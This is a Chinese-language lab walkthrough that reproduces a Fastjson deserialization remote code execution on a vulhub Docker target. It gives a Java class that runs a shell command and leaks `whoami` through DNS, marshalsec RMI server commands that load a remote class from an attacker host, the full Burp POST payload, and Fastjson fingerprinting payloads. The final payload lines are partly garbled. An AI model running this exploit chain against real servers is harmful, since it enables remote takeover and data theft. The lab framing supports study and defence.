先启动靶场
docker-compose up -d先启动vulhub的fastjson环境
Docker开启的8090端口
假设我们目标IP为1.1.1.1,此时我们访问1.1.1.1:8090
安装环境(maven与jdk,以就有的跳过此步)
安装jdk环境
很多linux自带有jdk环境,但缺少很多组件,会报错实属正常
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统选择相应jdk下载。
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
测试
java -version
安装maven(linux为例)
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
配置环境变量
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
验证maven是否安装成功
mvn -version
报错解决:
你可能遇到这样的报错
说明你安装的jdk有问题,按上述方法不行就百度。
如果是这样:
说明你环境变量没配置好,报这个错我才发现可以直接用apt安装,可能是我换了个系统这个源里面有,之前实验的时候不是这个系统,我这系统是ubantu,具体apt安装出来的能不能用自己试。
环境安装好了后开始复现漏洞
保存以下代码,命名为dnslog.java
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行以下代码会生成一个dnslog.class文件
javac dnslog.java
使用python在当前目录下起一个http服务,如果端口占用换其他的
python -m SimpleHTTPServer 4567
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类dnslog.class
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
编译项目
mvn clean package -DskipTests
如果出现下图情况,就是jdk环境问题,自带jdk环境不完整。按上面步骤安装即可。
成功是这样的,target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。
当前目录下执行命令开启RMI服务:
以我搭建dnslog.class类http服务的服务器IP为2.2.2.2端口为4567
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999
RMI服务可以搭建在与dnslog.class类的http服务同一台服务器,也可以搭建在其它服务器上。我们演示还是在同一台。
既然环境准备就绪就掏出burp开搞吧:
构造payload扔burp中发送
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/dnslog",
"autoCommit":true
}
}
成功后是这样的
RMI:
Python起的http服务:
Burp返回包:
Dnslog平台能看到执行结果:
为什么我要说着三处执行情况,大家肯定很好奇,直接说结果不就好了吗?
这里又是已给可能出错的地方,第一处检查rmi运行情况,第二处检查http服务开启情况,第三处就是执行结果。
如果最终结果有问题,那处结果显示不正常就去哪个地方找原因。第一、二处最有可能出现问题的就是端口占用或者防火墙拦截。Dnslog平台没有显示就说明命令未执行成功,也有可能是平台问题。具体自己检查。
文末讲解下fastjson指纹特征
1 根据返回包判断
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法,往后翻。
2 利用dnslog盲打
构造以下payload,利用dnslog平台接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":
"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}